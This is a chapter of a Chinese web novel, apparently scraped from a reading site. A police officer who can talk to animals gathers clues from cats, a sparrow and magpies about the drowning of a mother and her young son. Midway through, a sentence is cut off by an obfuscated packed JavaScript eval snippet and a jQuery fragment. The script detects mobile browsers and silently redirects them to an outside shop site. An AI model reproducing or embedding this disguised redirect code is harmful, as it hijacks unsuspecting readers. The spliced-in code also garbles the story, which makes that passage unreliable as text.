文趣网 > 其他小说 > 修真界卷王穿到九零和毛茸茸一起破案 > 34. 同事再恶心也别忘记微笑
    吃过早餐,四人两宠便来到最后一宗案件现场。

    这是清塘镇郊外一片半荒废的农田。

    说是农田,其实已经撂荒好几年了,杂草从地缝里疯长,两块地之间有一条被人踩出来的小路,泥土硬实,弯弯曲曲通向远处。

    路边不远的地方,有一口水井。

    这个年代,像这样荒废的地块在乡镇周边很常见。

    年轻人都去城里打工,剩下的老弱妇孺种不动地,田就这么荒着。

    死者是一名三十岁的女性和一名五岁男童。

    卷宗里写得清楚:女性头部有钝器击打伤,两人身上都有挣扎造成的擦伤,但最终死因是溺亡。

    在水井里淹死的。

    因为清塘镇近期连续发生多起妇女□□、失踪案,所以这名女性失踪十二小时后,她丈夫就跑到派出所报了案。

    据丈夫说,那天早晨妻子带儿子去镇上赶集。

    他本来要陪同,但今年气温回升得快,怕误了播种,就早早下地干活去了。

    村里到镇上有两条路:大路远,小路近。

    小路就从这片荒地穿过去,他和妻子走过无数次,熟得闭着眼都能走。

    那天正好是赶集日,村里会有不少人经过这条路,他便放心让妻子带着儿子出发。

    偏偏就出了事。

    当地派出所很重视,立刻组织搜查。

    很快,有人在这条小路边的水井里发现了母子俩。

    打捞上来的时候,母亲脖子上还骑着儿子。应该是在井下,母亲拼尽全力把孩子托起来,让他坐在自己脖子上,希望能呼吸到空气。

    可惜井水太深,太冷。受重伤的母亲没坚持多久就失去了意识,孩子也失去了最后一线生机。

    江宁县刑侦大队之前找到的两名目击证人,一个是四十多岁的妇女,一个是六十多岁的老汉。

    穆念几人今天又找到了这两人。

    他们被民警反复问过太多次了,再看到穆念几人时,已经条件反射般把证词背了出来。

    “我是早上八点多坐在那树下的咧,”妇女说,手指着远处一棵歪脖子树,“那天走累了,就想坐在田埂最前面那块大石头上歇歇脚。结果一抬头,就看见一个大块头坐在那儿。”

    “他不作声,就坐在那儿,那个眼神看着你哟,”她缩了缩脖子,“让人心里发寒。我不敢走近,绕了好大一圈才走掉的。”

    两名受害人的死亡时间大概在当天早上十点左右。

    这个时间点,这名妇女看到的这个人确实有重大嫌疑。

    但一问长相,妇女就含糊了。

    “我离得老远噻,”她比划着,“只知道人长得很壮,头发好像挺短的。脸?没看清,真没看清。”

    另一个目击证人,是八点多快九点的时候经过这里的,也是去赶集。

    “那小伙子高高瘦瘦的,头发挺长的,”老汉眯着眼睛回忆,“本来走在我前头噻,一路上左顾右盼的,不知道在找什么。后来拐到前面旁边一条小道上,就不见了。”

    “当时路上有别的人吗?”

    “没得人呢,”老汉摇头,“那天早上大家都早早出发去赶集了,我算走得最慢最晚的。今年气温回升得快嘛,很多人打算一早去赶集,回来还能接着干农活。平常赶集,大伙都是九点多十点才陆陆续续去的。”

    两个目击者,两个截然不同的描述,一个壮,一个瘦;一个短发,一个长发。

    难怪之前办案的人会乱。

    跑了一上午,四人最后还是回到了案发现场。

    现场还拉着警示带,有专门的民警看守,保护得不错。

    陈伟军蹲在井边仔细查看井圈上的痕迹,陆哲明拿着相机在拍周围的地面。

    趁其他人不注意,穆念走到角落,蹲下来假装查看地上的杂草。

    狸花猫顶着小麻雀,从荒草里钻了出来,悄无声息地跑到她脚边。

    “有找到看见现场的小动物吗?”穆念声音压得极低,嘴唇几乎没动。

    “喵。”狸花猫也配合着压低声音。

    【找到了。有两只猫,在那边屋顶上看见了。】

    【它们本来在睡觉,被吵醒的。说有个两脚兽叫得很大声,那个小两脚兽也哭得很大声。】

    狸花猫的表述向来简洁清晰。

    它和小三花、小麻雀不一样。

    它隐隐约约知道穆念在做什么,不用她细致交代,就已经把那两只猫盘得明明白白。

    【它们对两脚兽身高不清楚,但说那个男的头发比较短,眼睛上面几乎没有头发,眼睛比大多数两脚兽要小。】

    穆念在心里换算:眼睛上面几乎没有头发——就是没有眉毛?或者眉毛很淡?眼睛小,单眼皮小眼睛?

    【那时候那个两脚兽上面没穿衣服,它们看见小的那个两脚兽狠狠咬了他胸口一口。】

    穆念手指微微一顿。

    【哦对了,】狸花猫继续,【小黑小白说后面觉得他们太吵,就跳下去给了那个大两脚兽胸口一爪。】

    【它们说差点被大两脚兽抓着打,就逃跑了,后面发生什么事就不知道了。】

    穆念听到最后,趁大家不注意,一把抱起狸花猫,狠狠在它毛茸茸的脸蛋上嘬了一口。

    “小狸花,”她声音压得极低,但笑意压都压不住,“你真的太棒了。这个案子有你帮忙,多了好多线索。”

    话音刚落,一直憋着没吭声的小麻雀不干了。它在穆念肩膀上踩来踩去,翅膀扑棱棱地扇,小脑袋往她脸上拱。

    狸花猫毫不留情地扒拉开穆念的手,它还是不习惯被抱着。

    【小黑小白要四根小鱼干。】它舔了舔爪子,【你记得结账。不然它们会去招待所找你算账。】

    穆念笑容满面:“可以,我再添两个肉丸子给它们。”

    肉丸子不是普通货,那是她用鸡肉、鸡内脏和一点点鱼油特制的,狸花猫和三花都爱吃得不行。

    听到“肉丸子”,狸花猫忍不住舔了舔毛嘴巴。

    穆念笑着揉了揉它的脑袋:“你也有!”

    小麻雀用身体使劲拱她的脸颊,穆念便把它托到掌心:“小麻雀发现了什么?”

    “啾!”小麻雀挺起小胸脯。

    【这边的好朋鸟说,那个两脚兽把单车推进池塘后,就往那边走了。】

    它短短肥肥的翅膀一指。

    那个方向,通往清塘镇镇区。

    【对了,有一对喜鹊啾还说,那天那个两脚兽穿着一件蓝色的衣服!上面有个奇怪的图案,它们记下来了!】

    小麻雀扭着胖胖的身体跳到地上,撅着屁股在地上划拉半天,最后划出一个歪歪扭扭的“米”字。

    【那个两脚兽爬上去掏了它们的蛋!啾!太坏了!所以喜鹊记得清清楚楚!它们现在每天还在附近蹲守呢,可惜这人好久没来了!】

    穆念心里一动。

    “米”字……米粉厂?米厂?粮站?

    如果是穿着工服作案,那排查范围就可以大大缩小了。

    穆念开心得狠狠揉了揉小麻雀的脑袋:“我们啾啾厉害了!还认识了喜鹊!”

    【那你记得给两

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794361|207571||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大把花生!】小麻雀立刻谈条件,【一把给我的好朋鸟,一把给喜鹊夫妇。】

    【它们说花生很好吃,但能吃到的机会不多。】

    穆念拍拍胸口,豪气道:“没问题。我再准备点五谷给它们。”

    她低头看着掌心的小毛球,又加了一句:“再奖励啾啾一点甜甜的苹果。”

    小麻雀开心得飞上她肩膀,小尾巴一翘一翘的,脑袋使劲蹭她的脸颊。

    穆念笑着任它蹭,脑子里却在飞快地转。

    小动物们给的线索太有用了。问题是怎么“合理”地把这些线索呈现出来。

    总不能说是猫和鸟告诉她的。

    “穆同志。”

    身后传来一个声音。

    穆念不慌不忙地站起来,拍了拍手上的土,转过身。

    吴队长不知什么时候走了过来,脸上挂着礼貌的笑容。

    “您蹲在这儿干什么呢?”他语气关切,但眼神里带着点审视,“这块地方我们可是翻来覆去查了好几遍的,应该没什么别的线索了。”

    这话听着客气,但意思很明白:你们天山县的人别在这儿瞎转悠了,该查的我们都查过了。

    穆念掸了掸警服裤腿上沾的草屑,漫不经心地笑了笑:“吴队说得是。我就是随便活动活动。”

    她活动了一下脚踝,“再说了,你们翻过的地方,我随便转转也翻不出花儿来,您说是吧?”

    吴队长脸上笑容不变,眼神却动了动。

    穆念没再理他,沿着那条小路往池塘方向走去。

    现场保护得确实不错,自行车轮胎的痕迹、几个鞋印都还清晰。

    这一片也确实如吴队长所说,但凡能看到的线索,都被记录在案了。

    吴队长不远不近地跟在她身后,看她左看右看,什么都没发现,嘴角微微勾起一个弧度。

    杨成栋看好的苗子?也不过如此。

    穆念走到池塘边,站定,似乎在观察水面。

    吴队长扬声道:“那边都是杂草,可能有蛇,别再过去了。”

    穆念头也不回,摆摆手,继续往池塘另一边走去。

    吴队长撇撇嘴,懒得再跟。

    穆念跟着小麻雀的指引,走到那棵喜鹊筑巢的大树下,抬头看了一眼。

    好家伙,树上蹲着一排毛团子,大大小小七八只,此刻都歪着脑袋打量她。

    尤其是那对喜鹊夫妇,羽毛微微炸起,警惕地盯着这个不速之客。

    小麻雀适时“啾”了一声。

    喜鹊夫妇认出它来,羽毛才慢慢顺下去,但眼睛还盯着穆念。

    穆念没打扰它们,绕着树转了一圈。

    最后,在离树干三四米远的枯草底下,看到了一点细碎的东西。

    是几根干掉的白色条状物,断成一小截一小截。

    穆念不大清楚是什么,但看着有蚂蚁在搬运,估计是食物之类的东西。

    她顿了顿,这难道是米粉?

    这米粉条的位置实在太隐蔽了,被落叶和枯枝盖住大半。

    幸好他们来得早,再晚几天,不是被蚂蚁搬走,就是被雨水冲没了。

    穆念从口袋里摸出一个证物袋,蹲下身,用镊子把米粉条夹起来,小心放进袋子里。

    “穆念!”远处传来陆哲明的声音,“有发现吗?”

    他隔着老远就看见穆念蹲在那儿半天没动,凭经验判断,这肯定是找到什么了。

    穆念站起身,把证物袋举起来晃了晃。

    “找到了一点东西,”她说,“但还不确定和案件相不相关。”